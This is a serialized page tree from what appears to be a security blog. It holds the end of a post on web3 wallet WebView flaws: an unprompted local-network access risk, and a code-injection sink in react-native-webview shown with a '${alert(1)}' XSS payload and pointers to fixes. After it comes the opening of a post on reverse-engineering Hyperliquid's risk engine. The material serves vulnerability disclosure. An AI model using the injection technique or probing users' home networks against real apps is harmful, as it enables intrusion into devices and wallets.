navigator",{"type":23,"tag":314,"props":157331,"children":157332},{"style":354},[157333],{"type":28,"value":282},{"type":23,"tag":314,"props":157335,"children":157336},{"style":360},[157337],{"type":28,"value":157338},"geolocation",{"type":23,"tag":314,"props":157340,"children":157341},{"style":354},[157342],{"type":28,"value":282},{"type":23,"tag":314,"props":157344,"children":157345},{"style":332},[157346],{"type":28,"value":157347},"getCurrentPosition",{"type":23,"tag":314,"props":157349,"children":157350},{"style":354},[157351],{"type":28,"value":341},{"type":23,"tag":314,"props":157353,"children":157354},{"style":360},[157355],{"type":28,"value":157356},"pos",{"type":23,"tag":314,"props":157358,"children":157359},{"style":321},[157360],{"type":28,"value":26999},{"type":23,"tag":314,"props":157362,"children":157363},{"style":354},[157364],{"type":28,"value":1449},{"type":23,"tag":314,"props":157366,"children":157367},{"class":316,"line":23012},[157368,157373,157377,157381,157385,157389,157394],{"type":23,"tag":314,"props":157369,"children":157370},{"style":321},[157371],{"type":28,"value":157372}," const",{"type":23,"tag":314,"props":157374,"children":157375},{"style":360},[157376],{"type":28,"value":36694},{"type":23,"tag":314,"props":157378,"children":157379},{"style":354},[157380],{"type":28,"value":32159},{"type":23,"tag":314,"props":157382,"children":157383},{"style":360},[157384],{"type":28,"value":157356},{"type":23,"tag":314,"props":157386,"children":157387},{"style":354},[157388],{"type":28,"value":282},{"type":23,"tag":314,"props":157390,"children":157391},{"style":360},[157392],{"type":28,"value":157393},"coords",{"type":23,"tag":314,"props":157395,"children":157396},{"style":354},[157397],{"type":28,"value":2278},{"type":23,"tag":314,"props":157399,"children":157400},{"class":316,"line":23020},[157401,157406,157410,157414,157418,157423,157427,157431,157435,157440,157444,157449,157453,157457,157461,157465,157469,157474,157478,157482,157486,157491,157495,157499,157503,157507,157511,157515,157519],{"type":23,"tag":314,"props":157402,"children":157403},{"style":360},[157404],{"type":28,"value":157405}," gps",{"type":23,"tag":314,"props":157407,"children":157408},{"style":354},[157409],{"type":28,"value":282},{"type":23,"tag":314,"props":157411,"children":157412},{"style":360},[157413],{"type":28,"value":34213},{"type":23,"tag":314,"props":157415,"children":157416},{"style":354},[157417],{"type":28,"value":32159},{"type":23,"tag":314,"props":157419,"children":157420},{"style":1245},[157421],{"type":28,"value":157422},"`Lat: ",{"type":23,"tag":314,"props":157424,"children":157425},{"style":321},[157426],{"type":28,"value":33357},{"type":23,"tag":314,"props":157428,"children":157429},{"style":360},[157430],{"type":28,"value":308},{"type":23,"tag":314,"props":157432,"children":157433},{"style":354},[157434],{"type":28,"value":282},{"type":23,"tag":314,"props":157436,"children":157437},{"style":360},[157438],{"type":28,"value":157439},"latitude",{"type":23,"tag":314,"props":157441,"children":157442},{"style":354},[157443],{"type":28,"value":282},{"type":23,"tag":314,"props":157445,"children":157446},{"style":332},[157447],{"type":28,"value":157448},"toFixed",{"type":23,"tag":314,"props":157450,"children":157451},{"style":354},[157452],{"type":28,"value":341},{"type":23,"tag":314,"props":157454,"children":157455},{"style":1054},[157456],{"type":28,"value":3267},{"type":23,"tag":314,"props":157458,"children":157459},{"style":354},[157460],{"type":28,"value":431},{"type":23,"tag":314,"props":157462,"children":157463},{"style":321},[157464],{"type":28,"value":33389},{"type":23,"tag":314,"props":157466,"children":157467},{"style":47623},[157468],{"type":28,"value":47626},{"type":23,"tag":314,"props":157470,"children":157471},{"style":1245},[157472],{"type":28,"value":157473},"Lon: ",{"type":23,"tag":314,"props":157475,"children":157476},{"style":321},[157477],{"type":28,"value":33357},{"type":23,"tag":314,"props":157479,"children":157480},{"style":360},[157481],{"type":28,"value":308},{"type":23,"tag":314,"props":157483,"children":157484},{"style":354},[157485],{"type":28,"value":282},{"type":23,"tag":314,"props":157487,"children":157488},{"style":360},[157489],{"type":28,"value":157490},"longitude",{"type":23,"tag":314,"props":157492,"children":157493},{"style":354},[157494],{"type":28,"value":282},{"type":23,"tag":314,"props":157496,"children":157497},{"style":332},[157498],{"type":28,"value":157448},{"type":23,"tag":314,"props":157500,"children":157501},{"style":354},[157502],{"type":28,"value":341},{"type":23,"tag":314,"props":157504,"children":157505},{"style":1054},[157506],{"type":28,"value":3267},{"type":23,"tag":314,"props":157508,"children":157509},{"style":354},[157510],{"type":28,"value":431},{"type":23,"tag":314,"props":157512,"children":157513},{"style":321},[157514],{"type":28,"value":33389},{"type":23,"tag":314,"props":157516,"children":157517},{"style":1245},[157518],{"type":28,"value":9630},{"type":23,"tag":314,"props":157520,"children":157521},{"style":354},[157522],{"type":28,"value":2278},{"type":23,"tag":314,"props":157524,"children":157525},{"class":316,"line":23028},[157526,157531,157535,157539,157544,157548,157552],{"type":23,"tag":314,"props":157527,"children":157528},{"style":354},[157529],{"type":28,"value":157530}," }, ",{"type":23,"tag":314,"props":157532,"children":157533},{"style":360},[157534],{"type":28,"value":47670},{"type":23,"tag":314,"props":157536,"children":157537},{"style":321},[157538],{"type":28,"value":26999},{"type":23,"tag":314,"props":157540,"children":157541},{"style":332},[157542],{"type":28,"value":157543}," alert",{"type":23,"tag":314,"props":157545,"children":157546},{"style":354},[157547],{"type":28,"value":341},{"type":23,"tag":314,"props":157549,"children":157550},{"style":360},[157551],{"type":28,"value":47670},{"type":23,"tag":314,"props":157553,"children":157554},{"style":354},[157555],{"type":28,"value":6478},{"type":23,"tag":314,"props":157557,"children":157558},{"class":316,"line":23065},[157559],{"type":23,"tag":314,"props":157560,"children":157561},{"style":354},[157562],{"type":28,"value":47324},{"type":23,"tag":314,"props":157564,"children":157565},{"class":316,"line":23078},[157566],{"type":23,"tag":314,"props":157567,"children":157568},{"emptyLinePlaceholder":18},[157569],{"type":28,"value":1088},{"type":23,"tag":314,"props":157571,"children":157572},{"class":316,"line":23091},[157573],{"type":23,"tag":314,"props":157574,"children":157575},{"style":354},[157576],{"type":28,"value":2602},{"type":23,"tag":314,"props":157578,"children":157579},{"class":316,"line":23104},[157580,157585],{"type":23,"tag":314,"props":157581,"children":157582},{"style":332},[157583],{"type":28,"value":157584}," main",{"type":23,"tag":314,"props":157586,"children":157587},{"style":354},[157588],{"type":28,"value":2926},{"type":23,"tag":314,"props":157590,"children":157591},{"class":316,"line":23158},[157592,157596,157600],{"type":23,"tag":314,"props":157593,"children":157594},{"style":31623},[157595],{"type":28,"value":32076},{"type":23,"tag":314,"props":157597,"children":157598},{"style":321},[157599],{"type":28,"value":31663},{"type":23,"tag":314,"props":157601,"children":157602},{"style":31623},[157603],{"type":28,"value":5247},{"type":23,"tag":314,"props":157605,"children":157606},{"class":316,"line":23167},[157607,157611,157615],{"type":23,"tag":314,"props":157608,"children":157609},{"style":31623},[157610],{"type":28,"value":31677},{"type":23,"tag":314,"props":157612,"children":157613},{"style":321},[157614],{"type":28,"value":31647},{"type":23,"tag":314,"props":157616,"children":157617},{"style":31623},[157618],{"type":28,"value":5247},{"type":23,"tag":314,"props":157620,"children":157621},{"class":316,"line":31528},[157622,157626,157630],{"type":23,"tag":314,"props":157623,"children":157624},{"style":31623},[157625],{"type":28,"value":31677},{"type":23,"tag":314,"props":157627,"children":157628},{"style":321},[157629],{"type":28,"value":31630},{"type":23,"tag":314,"props":157631,"children":157632},{"style":31623},[157633],{"type":28,"value":5247},{"type":23,"tag":18130,"props":157635,"children":157636},{"id":3481},[157637],{"type":28,"value":3484},{"type":23,"tag":24,"props":157639,"children":157640},{},[157641],{"type":28,"value":157642},"Unfortunately, there's no simple solution for fixing this vulnerability, as most libraries don't offer an easy to enable feature flag. Each wallet should be mindful of the libraries they use and subsequently manually implement measures to mitigate this.",{"type":23,"tag":24,"props":157644,"children":157645},{},[157646,157648,157654],{"type":28,"value":157647},"A good baseline for patches like this is Metamask. Their patch for React Native WebView can be found ",{"type":23,"tag":31,"props":157649,"children":157652},{"href":157650,"rel":157651},"https://github.com/MetaMask/metamask-mobile/blob/53e205520cd571e84fbb443470a6e3654650bad4/.yarn/patches/%40metamask-react-native-webview-npm-14.5.0-b34fed6d50.patch#L13",[35],[157653],{"type":28,"value":46834},{"type":28,"value":282},{"type":23,"tag":192,"props":157656,"children":157657},{"style":194},[157658],{"type":23,"tag":197,"props":157659,"children":157663},{"src":157660,"alt":157661,"style":157662},"/posts/insecure-webview-integrations/image2.png","Private Network Access desktop prompt","max-height:144px; width:auto; max-width:100%;",[],{"type":23,"tag":24,"props":157665,"children":157666},{},[157667],{"type":28,"value":157668},"However, even with this patch applied, the user experience is suboptimal. Since there's no cache mechanism for preserving the users' choice, various clickjacking scenarios can be instantiated for further tricking the user into a permission approval.",{"type":23,"tag":61,"props":157670,"children":157672},{"id":157671},"local-network-access",[157673],{"type":28,"value":157674},"Local Network Access",{"type":23,"tag":24,"props":157676,"children":157677},{},[157678,157680,157687,157689,157695],{"type":28,"value":157679},"Modern browsers like Chrome have introduced strict protections around access to a user's local network. When a webpage attempts to send requests to servers on the local network or any private IP range, Chrome will prompt the user for explicit permission before allowing the request to proceed. This is part of the ",{"type":23,"tag":31,"props":157681,"children":157684},{"href":157682,"rel":157683},"https://wicg.github.io/private-network-access/",[35],[157685],{"type":28,"value":157686},"Private Network Access",{"type":28,"value":157688}," specification, and the permission prompt is deliberately restricted to secure contexts (HTTPS) to prevent insecure pages from using local network access as a stepping stone to more serious attacks like remote code execution. There are numerous examples available online detailing the implications of these protections ",{"type":23,"tag":31,"props":157690,"children":157693},{"href":157691,"rel":157692},"https://x.com/taviso/status/2051310678800253318",[35],[157694],{"type":28,"value":157691},{"type":28,"value":157696},". Google's Chrome was one of the first browsers to implement this protection on their desktop application.",{"type":23,"tag":192,"props":157698,"children":157699},{"style":194},[157700],{"type":23,"tag":197,"props":157701,"children":157704},{"src":157702,"alt":157661,"style":157703},"/posts/insecure-webview-integrations/image3.png","max-height:240px; width:auto; max-width:100%;",[],{"type":23,"tag":24,"props":157706,"children":157707},{},[157708],{"type":28,"value":157709},"WebViews, however, do not enforce this restriction. When a dApp is loaded inside a wallet's WebView, it can freely send requests to any host on the user's local network, including routers, NAS devices, smart home hubs, IP cameras, or any other IoT device without triggering any permission prompt whatsoever. The user has no visibility into this happening. See an example of this below.",{"type":23,"tag":157711,"props":157712,"children":157715},"zoom-image",{"src":157713,"alt":157714},"/posts/insecure-webview-integrations/image4.png","Private Network Access demo",[],{"type":23,"tag":24,"props":157717,"children":157718},{},[157719],{"type":28,"value":157720},"The consequences can increase the impact of certain issues. Local network devices are frequently unpatched, rely on default credentials, and expose administrative interfaces that were never designed to be reachable from an external webpage. An attacker-controlled dApp could:",{"type":23,"tag":127,"props":157722,"children":157723},{},[157724,157729,157734],{"type":23,"tag":88,"props":157725,"children":157726},{},[157727],{"type":28,"value":157728},"Exfiltrate device information from admin panels or unauthenticated API endpoints exposed by routers or IoT devices.",{"type":23,"tag":88,"props":157730,"children":157731},{},[157732],{"type":28,"value":157733},"Perform authenticated actions against devices that rely on network-locality as their only access control (a common pattern in consumer IoT).",{"type":23,"tag":88,"props":157735,"children":157736},{},[157737],{"type":28,"value":157738},"Exploit known CVEs in firmware by sending crafted requests to a device whose vulnerability is already public, potentially achieving remote code execution on that device.",{"type":23,"tag":24,"props":157740,"children":157741},{},[157742],{"type":28,"value":157743},"A user who has installed a reputable web3 wallet has no reason to suspect that browsing via a malicious dApp within that wallet could result in their home devices being probed.",{"type":23,"tag":61,"props":157745,"children":157747},{"id":157746},"uxss-by-code-injection",[157748],{"type":28,"value":157749},"UXSS by Code Injection",{"type":23,"tag":24,"props":157751,"children":157752},{},[157753,157755,157761],{"type":28,"value":157754},"Another sink we found in react-native-webview by just skimming through the code was how the ",{"type":23,"tag":94,"props":157756,"children":157758},{"className":157757},[],[157759],{"type":28,"value":157760},"injectJavascriptObject",{"type":28,"value":157762}," attribute worked. Here is the code snippet:",{"type":23,"tag":304,"props":157764,"children":157766},{"className":156002,"code":157765,"language":156004,"meta":7,"style":7}," private void injectJavascriptObject() {\n if (getSettings().getJavaScriptEnabled()) {\n String js = \"(function(){\\n\" +\n \" window.\" + JAVASCRIPT_INTERFACE + \" = window.\" + JAVASCRIPT_INTERFACE + \" || {};\\n\" +\n \" window.\" + JAVASCRIPT_INTERFACE + \".injectedObjectJson = function () { return \" + (injectedJavaScriptObject == null ? null : (\"`\" + injectedJavaScriptObject + \"`\")) + \"; };\\n\" +\n \"})();\";\n evaluateJavascriptWithFallback(js);\n }\n",[157767],{"type":23,"tag":94,"props":157768,"children":157769},{"__ignoreMap":7},[157770,157790,157819,157853,157908,158013,158025,158038],{"type":23,"tag":314,"props":157771,"children":157772},{"class":316,"line":317},[157773,157777,157781,157786],{"type":23,"tag":314,"props":157774,"children":157775},{"style":321},[157776],{"type":28,"value":70036},{"type":23,"tag":314,"props":157778,"children":157779},{"style":2674},[157780],{"type":28,"value":50300},{"type":23,"tag":314,"props":157782,"children":157783},{"style":332},[157784],{"type":28,"value":157785}," injectJavascriptObject",{"type":23,"tag":314,"props":157787,"children":157788},{"style":338},[157789],{"type":28,"value":14977},{"type":23,"tag":314,"props":157791,"children":157792},{"class":316,"line":370},[157793,157797,157801,157806,157810,157815],{"type":23,"tag":314,"props":157794,"children":157795},{"style":2284},[157796],{"type":28,"value":38534},{"type":23,"tag":314,"props":157798,"children":157799},{"style":338},[157800],{"type":28,"value":2324},{"type":23,"tag":314,"props":157802,"children":157803},{"style":332},[157804],{"type":28,"value":157805},"getSettings",{"type":23,"tag":314,"props":157807,"children":157808},{"style":338},[157809],{"type":28,"value":29417},{"type":23,"tag":314,"props":157811,"children":157812},{"style":332},[157813],{"type":28,"value":157814},"getJavaScriptEnabled",{"type":23,"tag":314,"props":157816,"children":157817},{"style":338},[157818],{"type":28,"value":91273},{"type":23,"tag":314,"props":157820,"children":157821},{"class":316,"line":380},[157822,157827,157832,157836,157841,157845,157849],{"type":23,"tag":314,"props":157823,"children":157824},{"style":2674},[157825],{"type":28,"value":157826}," String",{"type":23,"tag":314,"props":157828,"children":157829},{"style":360},[157830],{"type":28,"value":157831}," js",{"type":23,"tag":314,"props":157833,"children":157834},{"style":354},[157835],{"type":28,"value":1237},{"type":23,"tag":314,"props":157837,"children":157838},{"style":1245},[157839],{"type":28,"value":157840}," \"(function(){",{"type":23,"tag":314,"props":157842,"children":157843},{"style":47623},[157844],{"type":28,"value":47626},{"type":23,"tag":314,"props":157846,"children":157847},{"style":1245},[157848],{"type":28,"value":19297},{"type":23,"tag":314,"props":157850,"children":157851},{"style":354},[157852],{"type":28,"value":9036},{"type":23,"tag":314,"props":157854,"children":157855},{"class":316,"line":1091},[157856,157861,157865,157870,157874,157879,157883,157887,157891,157896,157900,157904],{"type":23,"tag":314,"props":157857,"children":157858},{"style":1245},[157859],{"type":28,"value":157860}," \" window.\"",{"type":23,"tag":314,"props":157862,"children":157863},{"style":354},[157864],{"type":28,"value":1572},{"type":23,"tag":314,"props":157866,"children":157867},{"style":338},[157868],{"type":28,"value":157869}," JAVASCRIPT_INTERFACE ",{"type":23,"tag":314,"props":157871,"children":157872},{"style":354},[157873],{"type":28,"value":1130},{"type":23,"tag":314,"props":157875,"children":157876},{"style":1245},[157877],{"type":28,"value":157878}," \" = window.\"",{"type":23,"tag":314,"props":157880,"children":157881},{"style":354},[157882],{"type":28,"value":1572},{"type":23,"tag":314,"props":157884,"children":157885},{"style":338},[157886],{"type":28,"value":157869},{"type":23,"tag":314,"props":157888,"children":157889},{"style":354},[157890],{"type":28,"value":1130},{"type":23,"tag":314,"props":157892,"children":157893},{"style":1245},[157894],{"type":28,"value":157895}," \" || {};",{"type":23,"tag":314,"props":157897,"children":157898},{"style":47623},[157899],{"type":28,"value":47626},{"type":23,"tag":314,"props":157901,"children":157902},{"style":1245},[157903],{"type":28,"value":19297},{"type":23,"tag":314,"props":157905,"children":157906},{"style":354},[157907],{"type":28,"value":9036},{"type":23,"tag":314,"props":157909,"children":157910},{"class":316,"line":1141},[157911,157915,157919,157923,157927,157932,157936,157941,157945,157949,157953,157957,157961,157965,157970,157974,157979,157983,157988,157992,157996,158001,158005,158009],{"type":23,"tag":314,"props":157912,"children":157913},{"style":1245},[157914],{"type":28,"value":157860},{"type":23,"tag":314,"props":157916,"children":157917},{"style":354},[157918],{"type":28,"value":1572},{"type":23,"tag":314,"props":157920,"children":157921},{"style":338},[157922],{"type":28,"value":157869},{"type":23,"tag":314,"props":157924,"children":157925},{"style":354},[157926],{"type":28,"value":1130},{"type":23,"tag":314,"props":157928,"children":157929},{"style":1245},[157930],{"type":28,"value":157931}," \".injectedObjectJson = function () { return \"",{"type":23,"tag":314,"props":157933,"children":157934},{"style":354},[157935],{"type":28,"value":1572},{"type":23,"tag":314,"props":157937,"children":157938},{"style":338},[157939],{"type":28,"value":157940}," (injectedJavaScriptObject ",{"type":23,"tag":314,"props":157942,"children":157943},{"style":354},[157944],{"type":28,"value":7828},{"type":23,"tag":314,"props":157946,"children":157947},{"style":321},[157948],{"type":28,"value":69522},{"type":23,"tag":314,"props":157950,"children":157951},{"style":2284},[157952],{"type":28,"value":97293},{"type":23,"tag":314,"props":157954,"children":157955},{"style":321},[157956],{"type":28,"value":69522},{"type":23,"tag":314,"props":157958,"children":157959},{"style":2284},[157960],{"type":28,"value":34365},{"type":23,"tag":314,"props":157962,"children":157963},{"style":338},[157964],{"type":28,"value":2324},{"type":23,"tag":314,"props":157966,"children":157967},{"style":1245},[157968],{"type":28,"value":157969},"\"`\"",{"type":23,"tag":314,"props":157971,"children":157972},{"style":354},[157973],{"type":28,"value":1572},{"type":23,"tag":314,"props":157975,"children":157976},{"style":338},[157977],{"type":28,"value":157978}," injectedJavaScriptObject ",{"type":23,"tag":314,"props":157980,"children":157981},{"style":354},[157982],{"type":28,"value":1130},{"type":23,"tag":314,"props":157984,"children":157985},{"style":1245},[157986],{"type":28,"value":157987}," \"`\"",{"type":23,"tag":314,"props":157989,"children":157990},{"style":338},[157991],{"type":28,"value":8089},{"type":23,"tag":314,"props":157993,"children":157994},{"style":354},[157995],{"type":28,"value":1130},{"type":23,"tag":314,"props":157997,"children":157998},{"style":1245},[157999],{"type":28,"value":158000}," \"; };",{"type":23,"tag":314,"props":158002,"children":158003},{"style":47623},[158004],{"type":28,"value":47626},{"type":23,"tag":314,"props":158006,"children":158007},{"style":1245},[158008],{"type":28,"value":19297},{"type":23,"tag":314,"props":158010,"children":158011},{"style":354},[158012],{"type":28,"value":9036},{"type":23,"tag":314,"props":158014,"children":158015},{"class":316,"line":1173},[158016,158021],{"type":23,"tag":314,"props":158017,"children":158018},{"style":1245},[158019],{"type":28,"value":158020}," \"})();\"",{"type":23,"tag":314,"props":158022,"children":158023},{"style":338},[158024],{"type":28,"value":2278},{"type":23,"tag":314,"props":158026,"children":158027},{"class":316,"line":1208},[158028,158033],{"type":23,"tag":314,"props":158029,"children":158030},{"style":332},[158031],{"type":28,"value":158032}," evaluateJavascriptWithFallback",{"type":23,"tag":314,"props":158034,"children":158035},{"style":338},[158036],{"type":28,"value":158037},"(js);\n",{"type":23,"tag":314,"props":158039,"children":158040},{"class":316,"line":1216},[158041],{"type":23,"tag":314,"props":158042,"children":158043},{"style":338},[158044],{"type":28,"value":11912},{"type":23,"tag":24,"props":158046,"children":158047},{},[158048,158050,158056,158058,158063,158065,158071],{"type":28,"value":158049},"It basically injects a javascript code with the ",{"type":23,"tag":94,"props":158051,"children":158053},{"className":158052},[],[158054],{"type":28,"value":158055},"injectedJavascriptObject",{"type":28,"value":158057}," wrapped by backticks (`). If you are familiar with javascript, you can immediately see that this enables code injection if we partially control ",{"type":23,"tag":94,"props":158059,"children":158061},{"className":158060},[],[158062],{"type":28,"value":158055},{"type":28,"value":158064},". If we control a single attribute we can inject a payload like ",{"type":23,"tag":94,"props":158066,"children":158068},{"className":158067},[],[158069],{"type":28,"value":158070},"${alert(1)}",{"type":28,"value":158072}," and achieve XSS in the context of the loaded page.",{"type":23,"tag":24,"props":158074,"children":158075},{},[158076,158078,158085],{"type":28,"value":158077},"Then, when scrolling through the open PRs, we saw that there is one that fixes exactly this problem, though we were not the first ones to find it (that's ok, it is a pretty easy bug to find). Here is the ",{"type":23,"tag":31,"props":158079,"children":158082},{"href":158080,"rel":158081},"https://github.com/react-native-webview/react-native-webview/pull/3929/changes",[35],[158083],{"type":28,"value":158084},"PR with the report and fix",{"type":28,"value":282},{"type":23,"tag":24,"props":158087,"children":158088},{},[158089],{"type":28,"value":158090},"The vulnerability is still in the code since the PR has not been merged yet and, since the PR is public, everyone can see the bug. This is indeed the library's fault, but tells us that another thing to keep an eye on is unmerged PRs that fix vulnerabilities. Ideally, an open source library should have a security policy with a contact method so security researchers can report vulnerabilities without making them public. This is because once it is public, more people acknowledge the bug and it is more likely to be exploited in the wild.",{"type":23,"tag":24,"props":158092,"children":158093},{},[158094,158096,158102],{"type":28,"value":158095},"If you want to see if your application is vulnerable, you can simply check if you are injecting ",{"type":23,"tag":94,"props":158097,"children":158099},{"className":158098},[],[158100],{"type":28,"value":158101},"injectedJavaScriptObject",{"type":28,"value":158103}," with some user-provided input, if so, it is recommended to manually merge the PR and rebuild your application with the patched library.",{"type":23,"tag":837,"props":158105,"children":158106},{"id":28180},[158107],{"type":28,"value":18185},{"type":23,"tag":24,"props":158109,"children":158110},{},[158111],{"type":28,"value":158112},"Most WebView articles focus on classic URL spoofing. In wallet apps, the more interesting problems usually come from capability inheritance: a WebView quietly benefits from permissions granted to the host app and small integration assumptions turn into serious impact.",{"type":23,"tag":2096,"props":158114,"children":158115},{},[158116],{"type":28,"value":2100},{"title":7,"searchDepth":370,"depth":370,"links":158118},[158119,158123,158126,158127],{"id":155842,"depth":370,"text":155845,"children":158120},[158121,158122],{"id":155853,"depth":380,"text":155856},{"id":155928,"depth":380,"text":155931},{"id":155961,"depth":370,"text":155964,"children":158124},[158125],{"id":156151,"depth":380,"text":156154},{"id":157671,"depth":370,"text":157674},{"id":157746,"depth":370,"text":157749,"children":158128},[158129],{"id":28180,"depth":380,"text":18185},"content:blog:2026-06-18-goldmine-of-insecure-webview-integrations.md","blog/2026-06-18-goldmine-of-insecure-webview-integrations.md","blog/2026-06-18-goldmine-of-insecure-webview-integrations",{"_path":158134,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":158135,"description":158136,"date":158137,"author":158138,"image":158139,"isFeatured":18,"onBlogPage":18,"tags":158143,"hideToc":18,"body":158147,"_type":2117,"_id":164784,"_source":2119,"_file":164785,"_stem":164786,"_extension":2122},"/blog/2026-06-22-hyperliquid-risk-engine","Auto reverse-engineering the Hyperliquid risk engine, with some agentic help","Perps allow traders to leverage beyond their collateral, until the market turns abruptly and losses are clawed back. We auto-reverse engineer Hyperliquid's risk engine to show how it ranks and deleverages winning users under the solvency–fairness–revenue trilemma.","2026-06-22T12:00:00.000Z","renato",{"src":158140,"width":158141,"height":158142},"/posts/hyperliquid-risk-engine/title.png",1456,816,[158144,158145,158146],"hyperliquid","reverse-engineering","defi",{"type":20,"children":158148,"toc":164756},[158149,158155,158163,158168,158173,158178,158190,158195,158208,158227,158233,158245,158258,158263,158294,158299,158312,158317,158508,158514,158519,158531,158537,158542,158548,158561,158595,158600,158605,158617,158623,158643,158651,158664,158670,158681,158687,158699,158704,158710,158730,158738,158744,158778,158782,158818,158823,158828,158833,158846,158883,158888,158902,158908,158913,158939,158947,158952,158980,158985,158990,159328,159333,159338,159358,159385,159390,159403,159415,159420,159425,159431,159436,159441,159455,159460,159466,159494,159531,159542,159546,159551,159556,159562,159728,159763,159768,159774,159780,159969,159982,159987,159993,160014,160019,160025,160030,160035,160047,160052,160057,160063,160068,160073,160079,160085,160098,160131,160136,162712,162980,162985,164315,164320,164325,164337,164428,164440,164445,164451,164456,164464,164469,164477,164483,164517,164528,164536,164542,164548,164553,164561,164566,164571,164579,164591,164597,164602,164608,164619,164624,164630,164635,164640,164644,164649,164652,164657,164662,164668,164673,164685,164690,164695],{"type":23,"tag":61,"props":158150,"children":158152},{"id":158151},"perpetuals",[158153],{"type":28,"value":158154},"Perpetuals",{"type":23,"tag":2186,"props":158156,"children":158157},{},[158158],{"type":23,"tag":24,"props":158159,"children":158160},{},[158161],{"type":28,"value":158162},"A perpetual is a bet on a price, usually leveraged, settled in stablecoins, with no expiry: a row in the exchange's ledger, backed by margin (a fraction of the position's notional), where one side's gains are the other side's losses on the same book.",{"type":23,"tag":24,"props":158164,"children":158165},{},[158166],{"type":28,"value":158167},"What does that even have to do with reverse engineering?",{"type":23,"tag":61,"props":158169,"children":158170},{"id":158144},[158171],{"type":28,"value":158172},"Hyperliquid",{"type":23,"tag":24,"props":158174,"children":158175},{},[158176],{"type":28,"value":158177},"Hyperliquid is a decentralized perpetuals exchange. It runs on its own\nL1, released publicly for anybody to run, but closed source.\nThe order book and the risk engine live on-chain, and thus inside of the L1 node binary, sitting between users and the shared\nbalance sheet they're all betting against.",{"type":23,"tag":24,"props":158179,"children":158180},{},[158181,158183,158188],{"type":28,"value":158182},"The node is tasked with a ",{"type":23,"tag":186,"props":158184,"children":158185},{},[158186],{"type":28,"value":158187},"very hard problem",{"type":28,"value":158189},": keeping the books balanced\nwhen leverage makes it possible for one side of every trade to lose more than their margin covers.",{"type":23,"tag":24,"props":158191,"children":158192},{},[158193],{"type":28,"value":158194},"Implementing a correct algorithm that solves this question is exactly what keeps the exchange solvent: this is also why peering into the actual implementation is very intriguing from a security standpoint.",{"type":23,"tag":24,"props":158196,"children":158197},{},[158198,158200,158206],{"type":28,"value":158199},"Beyond that, the ",{"type":23,"tag":94,"props":158201,"children":158203},{"className":158202},[],[158204],{"type":28,"value":158205},"hl-node",{"type":28,"value":158207}," binary also offers an additional technical thrill: it is written in Rust, which is notoriously hard to reverse engineer.",{"type":23,"tag":24,"props":158209,"children":158210},{},[158211,158213,158218,158220,158225],{"type":28,"value":158212},"Armed with some curiosity, a good amount of ",{"type":23,"tag":186,"props":158214,"children":158215},{},[158216],{"type":28,"value":158217},"inference",{"type":28,"value":158219},", and the right tooling, we'll take a deep dive using an ",{"type":23,"tag":186,"props":158221,"children":158222},{},[158223],{"type":28,"value":158224},"interactive interface",{"type":28,"value":158226},", which will hopefully make the reconstructed code easier to understand for anybody, while also giving reverse engineers something to learn and a fun tool to play around with.",{"type":23,"tag":61,"props":158228,"children":158230},{"id":158229},"the-million-dollar-question",[158231],{"type":28,"value":158232},"The Million Dollar Question",{"type":23,"tag":24,"props":158234,"children":158235},{},[158236,158238,158243],{"type":28,"value":158237},"Let's say a terrible trader opens a ",{"type":23,"tag":186,"props":158239,"children":158240},{},[158241],{"type":28,"value":158242},"50x",{"type":28,"value":158244}," leveraged position on Hyperliquid. How does the exchange avoid losing money from their eventual downfall?",{"type":23,"tag":24,"props":158246,"children":158247},{},[158248,158250,158256],{"type":28,"value":158249},"When the market turns against them, the first check they would encounter is the traditional liquidation: their position is automatically put up on the market on the opposite side of the book. This happens whenever the equity of the position drops below the maintenance margin, which is spelled out exactly in the ",{"type":23,"tag":94,"props":158251,"children":158253},{"className":158252},[],[158254],{"type":28,"value":158255},"compute_margin_requirement_by_mode",{"type":28,"value":158257}," function.",{"type":23,"tag":24,"props":158259,"children":158260},{},[158261],{"type":28,"value":158262},"Let's consider the simplest case, that being isolated positions, which are processed in this branch:",{"type":23,"tag":158264,"props":158265,"children":158266},"tip",{},[158267],{"type":23,"tag":24,"props":158268,"children":158269},{},[158270,158272,158277,158279,158286,158288,158293],{"type":28,"value":158271},"To get a clearer view of the logic of reconstructed snippets, click on them to ",{"type":23,"tag":186,"props":158273,"children":158274},{},[158275],{"type":28,"value":158276},"click through",{"type":28,"value":158278}," each action performed by ",{"type":23,"tag":31,"props":158280,"children":158283},{"href":158281,"rel":158282},"https://github.com/renato-osec/patina-research",[35],[158284],{"type":28,"value":158285},"our Rust reverse engineering agent",{"type":28,"value":158287},". Return to the regular view by clicking ",{"type":23,"tag":94,"props":158289,"children":158291},{"className":158290},[],[158292],{"type":28,"value":5242},{"type":28,"value":282},{"type":23,"tag":158295,"props":158296,"children":158298},"bndb-viewer-embed",{"addr":158297,"line-start":3267,"line-end":133804},"0x555556bb4d20",[],{"type":23,"tag":24,"props":158300,"children":158301},{},[158302,158304,158310],{"type":28,"value":158303},"The view here displays the reconstructed source code, through various stages starting from raw pseudo-C, with several verified agentic \"actions\" applied to it by our Rust decompiler. For example, you can see how some tentative Rust types, like ",{"type":23,"tag":94,"props":158305,"children":158307},{"className":158306},[],[158308],{"type":28,"value":158309},"OptionUnitQty",{"type":28,"value":158311},", are recovered: based on our harness, we can be sure that those are compatible with the original source types.",{"type":23,"tag":24,"props":158313,"children":158314},{},[158315],{"type":28,"value":158316},"As you can see, the position's equity is its isolated margin plus its own PnL, and the threshold reduces to:",{"type":23,"tag":304,"props":158318,"children":158319},{},[158320],{"type":23,"tag":94,"props":158321,"children":158324},{"className":158322},[3237,158323],"math-display",[158325],{"type":23,"tag":314,"props":158326,"children":158329},{"className":158327},[158328],"katex-display",[158330],{"type":23,"tag":314,"props":158331,"children":158333},{"className":158332},[3243],[158334],{"type":23,"tag":314,"props":158335,"children":158337},{"className":158336,"ariaHidden":1481},[3248],[158338,158369],{"type":23,"tag":314,"props":158339,"children":158341},{"className":158340},[3253],[158342,158346,158356,158360,158365],{"type":23,"tag":314,"props":158343,"children":158345},{"className":158344,"style":93712},[3258],[],{"type":23,"tag":314,"props":158347,"children":158349},{"className":158348},[3264,28],[158350],{"type":23,"tag":314,"props":158351,"children":158353},{"className":158352},[3264],[158354],{"type":28,"value":158355},"liq_equity",{"type":23,"tag":314,"props":158357,"children":158359},{"className":158358,"style":3442},[3344],[],{"type":23,"tag":314,"props":158361,"children":158363},{"className":158362},[3447],[158364],{"type":28,"value":1102},{"type":23,"tag":314,"props":158366,"children":158368},{"className":158367,"style":3442},[3344],[],{"type":23,"tag":314,"props":158370,"children":158372},{"className":158371},[3253],[15